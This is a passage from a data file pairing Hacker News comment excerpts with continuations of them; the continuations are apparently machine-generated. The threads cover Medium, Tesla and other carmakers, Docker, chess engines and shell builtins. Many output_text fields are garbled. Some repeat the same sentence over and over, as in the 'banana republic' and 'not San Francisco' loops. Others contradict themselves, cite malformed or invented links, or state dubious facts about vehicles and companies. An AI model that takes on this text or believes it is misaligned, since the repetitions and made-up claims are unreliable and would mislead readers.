want to enable Auto DevOps?\" div showing in every single repo.\n\n* Advertising for Google Cloud on the CI Kubernetes page is just plain tacky. I'm sure there's a way to turn this off, but _I shouldn 't have to in the paid Enterprise product_.\n\n~~~\nmatejlatin\nThis is really useful feedback @Karunamon! I see Sarrah already addressed it\nso I just wanted to add my bit: I also think that the approach we used for\ndesigning settings pages isn't optimal and suggested improvements in a\ndiscussion on a related issue:\n\n[https://gitlab.com/gitlab-org/gitlab-\nce/issues/45219](https://gitlab.com/gitlab-org/gitlab-ce/issues/45219)\n\nAfter seeing your feedback (and confirming my assumption"} +{"output_text": ").\n\n> _I don't know about you, but I don't have to be told to 'build it, they will\n> come.' I have to be told to 'build it, but not so hard that the walls\n> collapse.'_\n\nI'm not sure what you mean by this. I don't have a problem with Medium being\nall-in on the content, and being a platform for writers to grow. I have a\nproblem with Medium being a", "input_text": " it, the inclination is to praise them, to withhold\n> criticism._\n\nBZZZT! Wrong! Maybe for you, but not for me!\n\nI have no ingrained suppositions that the platform, free of charge, which\nhosts cheap-ass text in a usable format, and seems to be stable, would\nactually be bothered or compelled to promote my material. Not one bit of\nassumption on my part. I use it as a writing platform simply because it fits a\nneed, and I didn't have to fork over for a domain and the maintenance that\ngoes along with a self-implemented system. Or, if flow simply refers to it\nworking, yeah, I guess I'm assuming that, but that's like a core competency.\n\nIt almost reminds me of the Mitch Hedberg joke, the one where a chef becomes a\nmaster chef, and then a person asks, \"Well, can you farm?\" as though they\nshould be a master of every aspect. I write. Medium hosts my writing, and I\nlike the way the software works. Good deal for now, if it changes, I'll tear\ndown and move on (like I did with Blend.io when they pivoted in a way I did\nnot want to follow).\n\nIf we're talking ownership, well, that's a \"backup\" issue for each writer. For\nserious, lengthy pieces, I'm working in a software like Word before I'm\nposting online. It's just habit, and I can save locally/backup and Medium is\nthe finished, public product. Simple.\n\nIn my experience - coming from music - the distributor is distinct and\nseparate from the promotions arm. Though they may collaborate (PR working in\nconjuntion with Distributor to announce big release, etc"} +{"output_text": " state of affairs are not fair. If you are not\na politician, you are not heard. If you are a politician, you are not fired.\n\n~~~\ndragonwriter\n> If you are not a politician, you are not heard.\n\nNo, you're not.\n\n> If you are a politician, you are not fired.\n\nIf you're fired for not being able to perform your job, it's not because you\ncan't be fired for", "input_text": " where you are one of the major public faces of an organization\n(such as its CEO) and are not capable of dealing with the PR resulting from\nthe association of those speech acts with a public face of the corporation\n(the same as it would if you couldn't deal with any other PR issue affecting\nthe corporation, even if it _wasn 't_ resulting from your speech acts.)\n\n~~~\nDrJokepu\nThis is a frequently repeated argument and I find it less and less convincing.\nIt is true that America's constitution only guarantees the congress will not\nabridge the freedom of speech. However, an argument could be made that in a\nfree society there's a fundamental right to have a dissenting opinion or\nvoice; a right that is not codified by the constitution because it's simply\nirrelevant to a constitution. It seems to me that it's up to all of us to\ntolerate non-extreme dissenting voices, even if we disagree with them.\n\n~~~\ndragonwriter\n> However, an argument could be made that in a free society there's a\n> fundamental right to have a dissenting opinion or voice\n\nOf course, there is a fundamental right to have (and express) a dissenting\nopinion or voice.\n\nThere is also a fundamental right to have (and express) _displeasure_ with an\nopinion or voice, whether dissenting or not.\n\nAnd there is no fundamental entitlement to a job whose responsibilities\ninclude managing the public image of a corporation, and if you are unable to\ndo that in the real circumstances and public image problems the corporation\nfaces, _whether or not_ your own speech acts are the _source_ of that PR\nproblem, you shouldn't expect to continue to have that job.\n\n~~~\nElComradio\nThe problem is that the current"} +{"output_text": " the market for 10x batteries. They are\nlikely cheaper because they are made in China.\n\n~~~\neknkc\nTesla is in the market for 10x batteries because they don't have a plan to\nscale up. They have a plan to make a luxury car with a high price and a small\nrange. They don't have a plan to make a car that can be used long distance.\nThey don't have a plan to make a car that can be", "input_text": "8czW.png)\n\n~~~\ndingo_bat\nWhy are people not hyped about the bolt as much as they are about 3? It looks\nlike a comparable car which is available now, instead of in 2019.\n\n~~~\njustin66\nIt's a GM, so it looks like it was made to appear in a Transformers movie and\npeople trust a largely unproven manufacturer like Tesla to make something more\nreliable.\n\n------\ndingo_bat\nMercedes and BMW and Volkswagen are going to be dead (or faint shadows of\ntheir current state) within this decade (2027). Exactly what has happened to\nNokia, Siemens and Ericsson is going to repeat itself. I would wager smaller\nplayers like Hyundai will adapt and hang on, maybe even innovate at a later\ndate. Tough to predict Toyota and Honda though. The Japanese are clever in\ntheir ways.\n\nSay what you want but American entrepreneurs do have an unbelievable appetite\nfor disruption.\n\n~~~\neknkc\nBMW has i3 (pure electric) and i8 (plug in hybrid). I drive a i3 daily and I'd\nsay they have done a good job. It looks ugly but range is acceptable,\nperformance is better than other options (Tesla is not here in my country) and\nthe quality seems to be good overall.\n\nI believe they'll adapt just fine.\n\n~~~\ndingo_bat\nThe difference is Tesla has a plan to scale up. How is BMW going to acquire\nall the batteries needed if they want to start selling 10x the number of i3s?\nThey may adapt, but will surely lose their comfortable position in the market.\n\n~~~\nbildung\nI very much doubt that Tesla is in"} +{"output_text": " say you'll spend 1 hour, then 15 minutes, then 30\nseconds, then 1 second, then 30 milliseconds, then 1 millisecond, then just\npick a number and say you'll spend that much time on it, that way you'll\nspend less time on things you can do in a shorter amount of time, and more\ntime on things you can do in a longer amount of time.\n\n6- Break down problems into smaller problems, if you have a problem that", "input_text": " issues, and I think you speak out for lots of people,\nmotivation is a very limited resource and when it's not used properly, you end\nup in this state.\n\nWhat worked for me best is to tackle your tasks with the notion that you have\nlimited resources in mind and that you're just human.\n\nSome tips that you might find useful, that certainly work very well for me:\n\n1- Declutter your workspace, clean your whole house, having small things here\nand there lying around affects my thought process.\n\n2- Declutter your brain, Throw away ideas that might be nice, but are not\npossible to work on right now cause they'll take tons of time and money, write\nthose ideas down somewhere for later use, if ever.\n\n3- Declutter your life, make sure you don't have lingering problems that can\nbe fixed now, your brain will fatigue out when you have a lot in your stack,\nfix that leaking toilet, talk to your spouse about the issue you've been\nalways having with them, tell your friend you can't help them with that thing\nthey needed, empty out as much as you can, and work on the low hanging fruits\nfirst.\n\n4- When it comes to tasks, spend as much time as you can afford planning it\nahead first, break things down into small actionable tasks that will take a\nfew minutes or hours to resolve, avoid homogeneous tasks like \"Implement\nbackend\", \"Fix the known bugs\", \"Release next version\", etc... instead, have\nvery concrete minimal tasks like \"Fix bug #21\", \"Create Users profile database\nschema\", \"Convert header image to SVG\", etc...\n\n5- Timebox things when planning, say you'll spend only 1 hour today working on\nthis issue, if you can't,"} +{"output_text": " people.\n\n~~~\nanm89\nI'm not sure what you're getting at here.\n\nAre you saying that poor people 100 years ago had the same problem as poor\npeople today?\n\nAre you saying that poor people 100 years ago had the same problem as rich\npeople 100 years ago?\n\nAre you saying that poor people 100 years ago had the same problem as rich\npeople 50 years ago?\n\nAre you saying that poor people 100 years ago had", "input_text": " to eat healthily in poor neighborhoods, it takes a _lot_ of\nwork - a lot more work than it does for a wealthy person living in a wealthy\nplace. I've observed this in myself: I gained _enormous_ amounts of weight\nwhile living in a poor, working-class neighborhood, and promptly shed it once\nI moved to a wealthy upper middle-class neighborhood. I've bounced back and\nforth between poor areas and rich areas since then, and the pattern has so far\nheld up.\n\nBut, anecdotes not equivalent to data, etc etc.\n\nIn a upper-middle class neighborhood healthy diets practically come after you\nwith a baseball bat. It's steeped in the general consciousness of the area,\nsupport by people who possess the freedom of finance, time, and effort to\nthink about such things, and it's supported by the merchants in the area.\n\nThe same is not true in poor neighborhoods, where fast is king to a population\nof overworked and tired people. When you're holding down multiple jobs and\nraising kids at the same time, the CSA subscription may be cheaper and\nhealthier, but it also requires time you don't have. Merchant offerings in the\narea reflect this reality, and so even someone with the intent to eat\nhealthily will find that availability of healthy food is substantially lower.\n\nWe are fortunate in that we have the resources with which to abstract _many_\nannoying details away from our lives so we can concentrate on the important\nthings: good bodily health, mental well-being, and the such. Most of the\npopulation isn't so lucky.\n\n~~~\nmhartl\nDid poor people 100 years ago have the same problem? I doubt it. But today,\npoor people in America are _fatter_ than rich"} +{"output_text": " be a good idea to have a job board._\n\nA good idea, but not a good one. Job boards are a pain in the ass. They're\nexpensive, they're not very good at finding jobs for you, and they're not\nvery good at finding jobs for other people. They're a bad idea.\n\n \nAsk HN: How to find a technical co-founder? - kqr2\nHow do you find a technical co-founder?

I", "input_text": " than it would with MongoDB.\n\n~~~\nXylakant\nabsolutely. I know some projects that implemented a mobile app with\noffline/sync capability using the couch/pouch combination. I haven't\nparticipated personally but from what the colleagues tell me it's working\npretty well. (for all values of well that you can have when it comes to\noffline/sync. it's a tough problem.)\n\n~~~\nHodGreeley\nYou can take a look at Couchbase Mobile for native client offline+sync\ncapabilities, too. PouchDB integrates with Couchbase Sync Gateway, so the\ncombo is versatile.\n\n \n\nIdeas for the new catonmat.net website - pkrumins\nhttp://www.catonmat.net/blog/50-ideas-for-the-new-catonmat-website/\n\n======\nmichael_dorfman\nSome of these ideas are pretty good, but some are not. To take a couple\nexamples:\n\n _Here is a concrete example: Someone links to www.catonmat.net/artikle when\nthey wanted to link to www.catonmat/article. I\u2019d simply insert an entry to 301\nredirect /artikle to /article and everyone\u2019s happy._\n\nEveryone's happy? I think not. What you've just done is taken on the the onus\nfor fixing other people's mistakes. In the long run, that's not sustainable--\nit's more work for you, and only encourages sloppiness on their part. It's not\na road I'd like to go down, I'll tell you that.\n\n _47\\. Add A Job Board. As my site is getting more popular and popular among\nprogrammers, it may"} +{"output_text": "I'm still waiting for a small EV that's comparable to a small SUV in price.\n\n~~~\nThlom\nThe Tesla Model X is comparable to a small SUV in price.\n\n~~~\ngrecy\nI'm not talking about the same class of vehicle.\n\n------\nAnimats\nThe article says the Model X has a top speed of 130 km/h. That's not true.\nThat's the top speed of the Model S P100D, which", "input_text": "forms the C-Class on driving performance if the reviews are to be\nbelieved. The bling-bling leather, chrome and wood of the German high-end cars\nis more luxurious, but is not for everyone.\n\nLet's see. My guess is as good as yours but I think the Germans will bleed if\nthey don't transition to EVs very fast. If Tesla has the market for itself in\nall of 2018-2020, it might be too late for VW, BMW and Mercedes-Benz.\n\nRight now, they have plans and talk, but not a single competitive EV on the\nmarket, no fleet of hundreds of thousands of self driving cars recording and\nlearning, no network of superchargers, no thousands of talented EV and AI\nengineers, no remote update, no battery factories.\n\nI sure hope they wake up. Competition will only be good for us consumers.\n\n~~~\nbgarbiak\nThere are many other cars that could be compared to Model 3. Mazdas, VWs,\nHyundais, Hondas. If we take only size, price, performance and interior\nquality into consideration then Model 3 is certainly not the best choice. But\nit's an EV. And others are not.\n\n~~~\nThlom\nThere's a lot of EV's comparable to the Model 3 in both price and range.\nThere's a lot of EV's comparable to the Model 3 in range and price. VW e-golf\ncosts about the same (or less) with comparable range and size. Hyundai IONIQ\nis cheaper with about the same range and size. Then you have the ugly EV's\nlike Nissan Leaf and Kia Soul. Cheaper and with comparable range and size\n(perhaps a bit smaller trunk).\n\n~~~\ngrecy\n"} +{"output_text": " of money, but I don't know how much\nthat is. I know that CoreOS is a commercial product, but I don't know if\nDeis/Docker is.\n\nI am not a big fan of Docker because I think it's a great idea, but I don't\nknow how to use it in a way that makes it worth it for my company.\n\n~~~\nbampolampy\nI think the cost of Docker is pretty much negligible.", "input_text": " Dockercon on introducing Docker to Demonware\nfor CI across a variety of projects. I don't think the video is up yet, but\nit's well worth a watch if you're thinking of bringing it into your company.\nIn the meantime we wrote a blog post on his talk:\n[http://blog.codeship.com/dockercon-2015-using-docker-to-\ndriv...](http://blog.codeship.com/dockercon-2015-using-docker-to-drive-\ncultural-change-in-gaming/).\n\n~~~\nbampolampy\nWe are just starting a beta for our new CI flow which follows the container\nparadigm very closely. It allows you to build docker compose stacks for your\nvarious application images, and run your CI/CD pipeline locally, exactly as it\nwould get run on our hosted platform.\n\nIf anyone is interested in joining our beta, just drop me an email: brendan at\ncodeship.com.\n\n------\nyebyen\nI honestly don't know how much those things cost (I have heard some people say\nAWS is not cheap, but compared to buying your own hardware maybe all of this\nstuff is very cheap). The point of asking is, my company has not found a clear\nplace to use Docker directly, but we do use it indirectly through the Deis\nproject, and CoreOS.\n\nMy experience with Deis has been wonderful. If you ever looked at Heroku but\ngot to the pricing page and didn't look any further, Deis has the same\nworkflow (and much of the same stack, Cedar) as Heroku. The whole thing is\nbuilt on docker containers, and designed with failover in mind.\n\nI see that Codeship costs a fair amount"} +{"output_text": " blame the White House for this? The AUMF is a\nCongress-approved piece of legislation, and the executive branch is bound by\nit. The executive branch is also bound by the law of war, which is why the\nWhite House is so concerned about the \"alleged\" deaths of US citizens in\nAfghanistan.\n\n~~~\nsmsm42\nYes, it's really that fair. The AUMF is a piece of legislation, and the\nexec", "input_text": " concludes that the authority claimed by the government to\ndetain those who were \"part of... Taliban or al Qaida forces\" is consistent\nwith the law of war\n\n>the government has the authority to detain members of \"associated forces\" as\nlong as those forces would be considered co-belligerents under the law of war\n\nBut note that _Hamlily_ applies to detention and not execution. And in this\nexecution whitepaper, it clearly states that the definition of associated\nforces \" _includes_ a group that would qualify as a co-belligerent under the\nlaws of war\". The phrase _includes_ leaves a lot of room for the term\n\"associated forces\" to apply to other things.\n\nBut anyway, IANAL.\n\nLink to Hamlily v. Obama (PDF):\n[http://scholar.google.ca/scholar_case?case=15512898181635760...](http://scholar.google.ca/scholar_case?case=15512898181635760339&hl=en&as_sdt=2&as_vis=1&oi=scholarr&sa=X&ei=MpUQUaXcF82ayQGAyoGYDw&ved=0CC4QgAMoADAA)\n\nLink to AUMF (PDF): [http://www.lawfareblog.com/wp-\ncontent/uploads/2012/10/Author...](http://www.lawfareblog.com/wp-\ncontent/uploads/2012/10/Authorization-for-Use-of-Military-Force-2001.pdf)\n\n------\nmatmann2001\nUnfortunate automatic URL generation.\n\n------\nuntog\nIs it really that fair to"} +{"output_text": " more or less because you're more accepting of\nother people's differences?), but the point is that people are very open to\nthe idea that people who are different to them are actually better than they\nare.\n\nI suspect that the same is true for interracial couples. The people who are\nmost prejudiced against interracial couples are the ones who have the most\nnegative experiences with them.\n\n~~~\ntokenadult\n\"The people who are most prejudiced against inter", "input_text": ").\n\n~~~\ntrezor\nIt has gotten better recently, but it is lagging quite a lot compared to plain\nChrome.\n\nText rendering used to be horrible but it has gotten better. But if I can't\neven configure proxy settings without hacky gconf editing, that tells you that\nyou are definitely using a browser in catch-up mode.\n\n------\ntybris\nI thought we were past the short-sighted Microsoft is evil childishness. In\ngeneral, if you think a large group of people is evil or stupid (especially if\nthese people are known to be very, very smart), you are wrong and should be\nwondering why.\n\nIf a company is growing its business is to be on the offense, challenging the\ncompetitors products. When it becomes too big to adapt to the changing needs\nof the customer quickly it needs to go on defense to protect its business. Has\nnothing to do with stupid or evil, just business.\n\n~~~\nrdrimmie\nThe post isn't about evilness (and in fact Dash has frequently defended\nMicrosoft, as he states). The post is about a corporate entity growing past\nthe point where the internal concept of'self' that its staff has differs\nlargely from the external concept of its identity that the public has.\n\n \n\nInterracial Roommates Can Reduce Prejudice - tokenadult\nhttp://www.nytimes.com/2009/07/08/us/08roommate.html\n\n======\nseldo\nThis isn't too surprising to me. In the world of gay rights, it's well-known\nthat the biggest predictor of having positive attitudes to gay people is\nknowing at least one gay person. People debate about whether this is cause or\neffect (do you like gay people"} +{"output_text": "\u2019t do without.\"\n\n[http://www.chessbase.com/previews/ predictions/Anand-\nPredicat...](http://www.chessbase.com/previews/ predictions/Anand-\nPredictions-2013.html#1)\n\n------\njokoon\nI think chess is a great example of how humans are not the best at everything.\nHumans are not very good at many things, but computers are very good", "input_text": " hours of computer analysis, and many top-level games these\ndays, especially the infamous ~20-move \"grandmaster draws\" are little more\nthan one grandmaster's home-prepped computer engine analysis being pitted\nagainst the other. In other words, many \"human\" games are effectively a game\nbetween two computers :)\n\n~~~\npk2200\nChess opening theory is the result of ~150 years of mostly human effort.\nGrandmasters do use computers to assist with opening preparation, but it's\ncertainly not the case that computers have completely rewritten the opening\nbooks. In fact, I can't think of a single example of a computer significantly\naltering the evaluation of a major opening system. They do make small\nimprovements, but almost all of the major openings that were popular 30 years\nago are still popular today.\n\n------\ntoolslive\nDoes Usain Bolt feel bad about himself, because a Ferrari is faster on the\n100m flat? Should he stop competing because of it? Does a weightlifter feel\nbad because a fork lift exists? Does this kill weightlifting as a competition?\nSo why would this be the case for Chess?\n\nAnyway, is it just me or does the article feel like having been written by\nsomeone who doesn't know about computer chess?\n\n~~~\ntbrake\nViswanathan Anand himself had a quote which reflects this mentality and is a\ngood way of looking at it :\n\n\"[...] but since most of chess is tactically based they do many things better\nthan humans. And this imbalance remains. I no longer have any issues. It\u2019s bit\nlike asking an astronomer, does he mind that a telescope does all the work. He\nis used to it. It is just an incredible tool that you can"} +{"output_text": " blogs moved to Medium?\"\n[https://news.ycombinator.com/item?id=7472791](https://news.ycombinator.com/item?id=7472791)\n\n------\ndang\n[https://news.ycombinator.com/item?id=7472791](https://news.ycombinator.com/item?id=7472791)\n\n------\ndylz\nMedium", "input_text": " blogging that _writing a blog post_ is separate from the work of\nmaking the blog itself look beautiful, and that should focus on the former and\nwe can then work on the latter.\n\nMedium gives the latter without much work, and for aspiring writers, that's\nthe incentive to finally try blogging out and feel like they've done something\nsubstantial. If it gets more people into the mindset of being creators instead\nof passive web consumers, I think Medium has been a good thing overall.\n\n------\nredthrowaway\nSo, Medium is big. That's pretty much all I took from that. He lists no\nproblems with it, except maybe they might one day be the sort of company to do\nsomething you don't like.\n\nThis isn't a criticism. It isn't even a rant. It's not focussed enough to be\neither. It's somebody worrying about writing on the Internet being largely\ncontrolled by a single company. Which, of course, it isn't. Never was and\nnever will be.\n\n------\nblt\n_> Medium is on its way to becoming the consensus platform for writing on the\nweb_\n\nJesus, I hope not. I have better ways to burn my phone battery. The Medium\nversion of this post contains 388kb of javascript and 312kb of CSS. Medium's\nengineering is terrible.\n\n------\nkrallja\nMedium broke the \"Signal v. Noise\" RSS feed by truncating articles. I\ncomplained to Basecamp; they blamed Medium. I complained to Medium; they said\nthey might consider fixing it.\n\nRun your own blog on your own website. Then you don't have to depend on\nsomeone else to fix your bugs.\n\n------\nminimaxir\nRelevant discussion: \"Why have most tech and startup"} +{"output_text": ".\n\n------\nnostrademons\n_How much bandwidth is used per month?_\n\nThis is a good question for any startup, but particularly for a startup that\nis providing a service to other companies. If you're a startup, you have a\nchoice of two metrics for how much bandwidth your users are using:\n\n1) _How much bandwidth does your product use?_ This is the metric that your\ncustomer uses.\n\n2) _How much bandwidth does", "input_text": "\nRivalMap (previously Competitious) is an excellent tool that helps us organize\nand discuss market analysis in our startup. There is a free edition for 3\nusers and I think they are adding news soon too.\n\n------\nprakash\nTo get accurate answers and hard data, it's best to talk to someone on the\ninside i.e. who has spent some time in that industry.\n\nA couple of good starting points: \\- www.webhostingtalk.com \\-\nwww.streamingmedia.com\n\n------\nmynameishere\n_data transfer rates, processor usage, hardware acceleration_\n\n(Market Analysis?) Since you don't seem to have the vocabulary down, I\nrecommend starting with the basics:\n\n[http://www.va-\ninteractive.com/inbusiness/editorial/sales/ibt...](http://www.va-\ninteractive.com/inbusiness/editorial/sales/ibt/market_analysis.html)\n\n------\nOpenWebU\nalso, i'd like to comment is that you are doing'market analysis' third-hand\n-- the products that companies offer are a combination of their opinion of\nwhat the markets need, and their own response to customers.\n\nIMHO, true market analysis is going to the real end-customer (the customers of\nthe hosting vendor). If it is obvious what the very they need and what they\nare willing to pay for, then no need to do this. But let's say as an example,\nthe true end-customers are large IT departments. I'd look around and find\nsomeone in that IT department to interview and find them across industries,\nand see what they are willing to buy. Often these customers are listed as\nreferences on their website"} +{"output_text": "command that didn't have a corresponding shell builtin.\n\n------\njancsika\n> The /usr/bin/time command is a special case, as it is a wrapper around the\n> time command from the timeutils package.\n\nI don't know why, but I find it very difficult to believe that the time command\nwas not written with the intent to be a wrapper around the time command from\nthe timeutils package.\n\n~~~\ndigi_", "input_text": ".\n\n------\ndevnonymous\nSo also are /usr/bin/{cd,[,echo,pwd,fg,..etc} a lot of them having subtle\ndifferences with their corresponding shell builtins. Most of the time the\ndifferences are not worth the hassle to remember, unless you somehow end up on\na system with a broken filesystem (for example where /lib or /usr/lib is\ndestroyed) and need to rescue stuff.\n\n------\ncmurf\nOn Fedora Linux, '/usr/bin/time -v ' rather than -l.\n\n------\nsaagarjha\nSo it's just like /usr/bin/cd\u2013a builtin that also has a binary.\n\n~~~\ntyingq\nHow would that work? A forked/execed subprocess somehow forcing chdir() in\nit's parent?\n\nGuessing it isn't terribly useful.\n\n~~~\nzwp\nI too don't see how it is useful but it's certainly a thing. The Solaris\nimplementation looks like this:\n\n \n \n #!/bin/ksh -p\n #...\n cmd=`basename $0`\n $cmd \"$@\"\n \n\nI just noticed that the what(1)-string (I haven't seen on of those for a long\ntime) references \"alias.sh\", perhaps this is a clue?\n\n \n \n #ident \"@(#)alias.sh 1.2 00/02/15 SMI\"\n \n\nWere builtins actually aliases in an early shell? I still don't understand how\nthis works though.\n\n~~~\ntyingq\nThat's a funny implementation. It would end up being an infinite loop for any\n"} +{"output_text": " to be a way to track money + projects.\n\n* A physical tome used to be a way to store information.\n\n* A physical book used to be a way to store information.\n\n* A physical newspaper used to be a way to keep up with the news.\n\n* A physical magazine used to be a way to keep up with the news.\n\n* A physical box used to be a way to store stuff.\n\n* A physical CD used to", "input_text": "very very light on content, yes we should be looking to make wonderfully\nusable applications for non technical users, I dont think anyone aims to make\nan unusable site.\n\nBut how can we do it, what have we been getting wrong so far, what design\nidioms need to be thrown out and what innovative ui's help users? thats what I\nwant to hear.\n\n~~~\nsthomps\nVery good point, I will try to put that into another blog post in the near\nfuture. I know that there is a book that goes along with this, \"The Inmates\nAre Running The Asylum\" as well.\n\n~~~\nidlewords\nDude, with all due respect, you're 18, your product is in triple-closed alpha,\nand your writing is entirely aspirational.\n\nLess talk, more rock. Go out and do something, and then blog about it once\nyou've learned something interesting. If you want to psych yourself up with\nself-help stuff, keep a private diary.\n\n~~~\nsthomps\nYou are entirely correct. None of the content I am writing can hold true\nmeaning until I have made it. All of the writing at this point is purely my\nopinions on what I observe and the process that I am going through.\n\n------\njasonlbaptiste\nAnother thought: find products that exist in physical form, but can be\nreplaced by something that is much more high-res / efficient with technology.\nWhat physical things won't exist in 5-10 years time because technology can\nreplace them. Mainstream users usually adopt products that do this. Examples:\n\n* Campuses used to hand out \"facebooks\" to freshman so they could get to know their fellow students + have a directory.\n\n* Spreadsheets used"} +{"output_text": "\nThe US is a banana republic with a giant central bank.\n\n------\nthrowawaysea\nThe US is a banana republic with a giant central bank.\n\n------\nthrowawaysea\nThe US is a banana republic with a giant central bank.\n\n------\nthrowawaysea\nThe US is a banana republic with a giant central bank.\n\n------\nthrowawaysea\nThe US is a banana republic with a giant central bank.\n\n------\nthrowawaysea", "input_text": " I use a VPN I have to prove to google I'm not a robot...\nbut using a shell company to buy up real estate? Definitely no picking out all\nof the buses in a bunch of pictures.\n\n~~~\ndehrmann\nDisney used shell companies to buy up land for Disney World in the 60's. They\ndid it so buyers couldn't find out it was Disney and demand more money.\n\n[https://www.latimes.com/business/la-fi-disney-shell-\ncompanie...](https://www.latimes.com/business/la-fi-disney-shell-\ncompanies-20160408-story.html)\n\n------\nH8crilA\nUS net international investment position is at -$11T:\n[https://fred.stlouisfed.org/series/IIPUSNETIQ](https://fred.stlouisfed.org/series/IIPUSNETIQ)\n\nThat's ~50% of GDP.\n\nWorrying about a few homes here and there is quite pointless against this\nbackdrop.\n\n------\nnickthemagicman\nIt reminds me of Moldova after the fall of the Soviet Union: oligarchs running\nwild, stashing their gains in buildings,\u201d James Wright, an attorney and former\nTreasury Department bank examiner, told me. He now helps foreign governments\ncombat money laundering. \u201cBack then, you\u2019d walk down the street, and people\nwould say, \u2018That building is a washing machine.\u2019 Everyone knew it. Today,\nAmerica is not that different.\u201d\n\nAre we that different from the Soviet Union?\n\n~~~\nxenospn\nLess sarcastic, but overall not that different.\n\n------\nycombonator"} +{"output_text": " in the background -- look like they were built in the last 100 years.\n\n------\njoshu\nI'm pretty sure that's not San Francisco.\n\n------\njmtull\nI'm pretty sure that's not San Francisco either.\n\n------\njmtull\nI'm pretty sure that's not San Francisco either.\n\n \nThe New York Times is building a search engine - doppp\nhttp://bits.blogs.nytimes.com/2012", "input_text": "point with it so early. Thanks for the link, BTW!\n\n------\njordanb\nThe blog says the street seems wider in the 1908 film. I think that's a\ncombination of a lack of street trees and curbs, and shorter buildings in the\nbackground.\n\nI wonder why the car doesn't stop for passengers. You can see several waiting.\nOne even waves at the driver. My thought is that either the car was stopping\nand the video was edited, or it was a special run for the benefit of the\ncamera.\n\nA few more observations:\n\n* While there are many fewer pedestrians in the 2005 video, there are more bicycles. And the bicycles actually have adults on them (not sure about the guy in the cape though).\n\n* The streetcar seems to move much faster in 2005, covering considerably more ground in less time.\n\n* While 2005 looks much more orderly, automobiles are still erratically darting out in front of the streetcar. Some things don't change I guess..\n\n------\nmattmaroon\nThat can't be San Francisco, the cameraman never once gets assaulted by\noverly-aggressive homeless people.\n\n------\njaybol\nWow and it is a music video for Air...double bonus! There is an incredibly\ncool map store in San Francisco, and as you would expect, the proprietor is\nvery friendly. It is called Schein and Schein\n( the website doesn't do it justice) and they\nhave some beautiful old maps and photobooks, with a large portion of the\ncollection devoted to SF and California history.\n\n------\nnovum\nNone of the buildings in this video -- save the Ferry Building whose tower you\ncan see"} +{"output_text": " and I disagree with that.\n\nThe author is correct that the administration has been slow to respond to the\nprotests, and that the protests have been largely peaceful.\n\nThe author is also correct that the protests have been driven by a small group\nof people with a very specific agenda, and that the leadership of the\nprotests/movement has been very clear about what that agenda is.\n\nThe author is also correct that the administration has been slow to respond\nbecause", "input_text": " I'm in graduate school right now and you won't get a call back for\n2nd rounds if you have a beard. It's some sort of irrational proxy for\ndiscipline.\n\n------\nmariodiana\n> Alumni should take it into account before writing any more checks.\n\nThis is the key takeaway for anyone interested in getting this nonsense to\nstop.\n\n------\neconnors\nAs a student at Dartmouth, I find this article to be extremely accurate and\nrepresentative of the culture I've encountered amongst the protests here and\n(through conversations with friends) at other places across the country. As a\nwhite male, my friends and I are too intimidated by the Black Lives Matter\nprotesters and their actions to try to initiate any sort of discussion on the\nmatter in fear that we'll only provoke more anger and protest.\n\n~~~\nflopto\nIf people are angry about X and you go up to them and try to tell them how\nmuch you like/support X, isn't that what you'd expect? To make people want to\nengage you in a thoughtful discussion, it's important to demonstrate humility\nand open-mindedness to their opinions.\n\n~~~\nremarkEon\nI recently tried to engage a BLM protester about the issues, hoping to have a\nthoughtful discussion about some policies and ways forward to improve the\nsituation. 3 paragraphs latter, I was being told that my white privilege\nshould exclude me from even participating in the discussion, let alone\ninforming decisions about policy - ostensibly because I do not have a shared\nexperience of discrimination.\n\nDisclaimer: I'm a white male from the midwest.\n\n------\nlanny\nWhile I agree with most of the article, the author tries to politicize it at\npoints,"} +{"output_text": " no clue what they were talking about.\n\n~~~\nchc\nI think the key is to be interested in what they're talking about. If you're\nnot, you're not really there for the people talking. If you are, you'll\nprobably be fine.\n\n------\njokermatt999\nI'm not sure why this is on the front page. It's just a list of quotes.\n\n~~~\nsliverstorm\nIt's a good article", "input_text": ".\n\nI am just curious. Everyone acts rationally from their point of view. Why do\npeople do what they do? What makes them successful? Failures? What is their\ntake on living? Most people are passionate about something, so tell me about\nit. I'll learn something new.\n\nI spent a lot of time learning how to actively listen, not just wait for an\nopportunity to jump into a conversation with my own immature opinions. (I have\nmany.) I am not afraid to ask dumb questions in an effort to learn. I have no\nfear that people will think I am stupid. Actually, asking questions makes you\nlook like a genius.\n\nCaveat: There are some people who lack the spark of life. I don't spend time\nwith them.\n\n~~~\nctdonath\n_Most people are passionate about something, so tell me about it._\n\nThat's my sticking point: in situations referred to, the person in question\nall too often isn't prone to discussing what he _want_ to discuss, but what\nhis fans do. How to, as a random face wandering up as so many do, can one\nelicit some fragment of \"say, what do _you_ want to talk about or do?\"\n\nThe nuance struck me when meeting (as just another face in the room) Steve\nReich and Philip Glass. During a talk, Reich lamented that everyone wanted to\ngush over his early works, which he made clear he viewed as immature - not\nbad, but something he has moved far beyond. Able to stand nearby someone's\nhallway chat with Glass, I was struck by how _much_ the two had to talk about,\nhow the other person wasn't anyone the great composer knew, and how I had\nabsolutely"} +{"output_text": " of all possible\n> people who could have lived.\n\n> So the number of people who have ever lived is a very small fraction of the\n> number who will ever live.\n\n> The number of people who have ever lived is a small fraction of the number\n> who will ever live. The number of people who will ever live is a small\n> fraction of the number who will ever live. The number of people who will\n> ever live is a small fraction of", "input_text": "\n\nYet we have not shrunk in size as the species has grown in population, and if\nanything, have grown larger.\n\nIf we look at the total biomass on earth, we are a fairly small portion of it.\nSo shouldn't we assume, as we are assuming our situation is average, that\nintelligent aliens are also a fairly small portion of their planet's biomass?\nAnd if so, wouldn't the size of the aliens themselves be something that has\nvery little to do with the total energy reaching the planet surface?\n\nI get that it's just statistical probability and math, and it's fun, but this\nparticular thing stuck out for me.\n\nIt was a fun read regardless, so thank you for the break from work!\n\n~~~\nwrsh07\nThey actually respond to you in the FAQ:\n\n> \"What if people who lived several centuries ago did a calculation on how\n> many births there would be?\"\n\n> This appears to be one of the most widespread misconceptions on the topic.\n> Many scientists have fallen into this trap, such as Lee Smolin's article\n> from 2004. In science there is never absolute certainty, only varying\n> degrees of confidence. We should never be 100% sure of anything. When\n> stating the degree of confidence in a result, typically 95%, it should be in\n> full knowledge that one time out of twenty, we will be wrong. 5% of the time\n> we will be misled by statistical chance.\n\n> Now if someone who lived tens of thousands of years ago estimates the total\n> number of human births, based on how many there had already been, they will\n> underestimate the truth. Because we now know there has been many more. But\n> those first 5% of people who ever lived represent the 5%"} +{"output_text": " a big problem in the defense industry.\n\n------\njelliclesfarm\nAmazon is a great place to work. I have worked there for over a decade.\n\nBut, I have never felt like I was working in a diverse environment.\n\nI have worked with people of all races, all genders, all sexual 